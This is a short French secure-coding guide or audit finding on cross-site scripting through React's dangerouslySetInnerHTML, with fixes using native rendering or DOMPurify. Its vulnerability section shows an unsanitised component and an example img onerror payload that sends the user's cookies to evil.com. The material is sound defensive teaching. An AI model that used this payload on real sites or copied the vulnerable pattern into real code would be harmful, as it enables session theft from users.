Contexte
dangerouslySetInnerHTML est une fonctionnalité React qui permet d'injecter du HTML brut dans le DOM. Comme son nom l'indique, elle est dangereuse si le contenu injecté provient d'une source non fiable (saisie utilisateur, API externe, base de données).
Vulnérabilité
Un attaquant peut injecter du JavaScript malveillant via un champ de saisie dont le contenu est ensuite rendu avec dangerouslySetInnerHTML :
// Vulnérable
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
Si content contient <img src=x onerror="document.location='https://evil.com/?c='+document.cookie">, les cookies de l'utilisateur sont exfiltrés.
Impact
- Vol de session (cookies, tokens)
- Redirection vers des sites malveillants
- Défacement du contenu affiché
- Exécution de code arbitraire côté client
Correctif
Option 1 : Ne pas utiliser dangerouslySetInnerHTML
Privilégiez le rendu React natif qui échappe automatiquement le contenu :
function Comment({ content }) {
return <div>{content}</div>;
}
Option 2 : Sanitizer le HTML avec DOMPurify
Si vous devez afficher du HTML riche, utilisez une librairie de sanitization :
import DOMPurify from "dompurify";
function Comment({ content }) {
const clean = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Recommandation
Auditez votre codebase pour toute occurrence de dangerouslySetInnerHTML et vérifiez que le contenu est soit de confiance (hardcodé), soit sanitizé avant injection.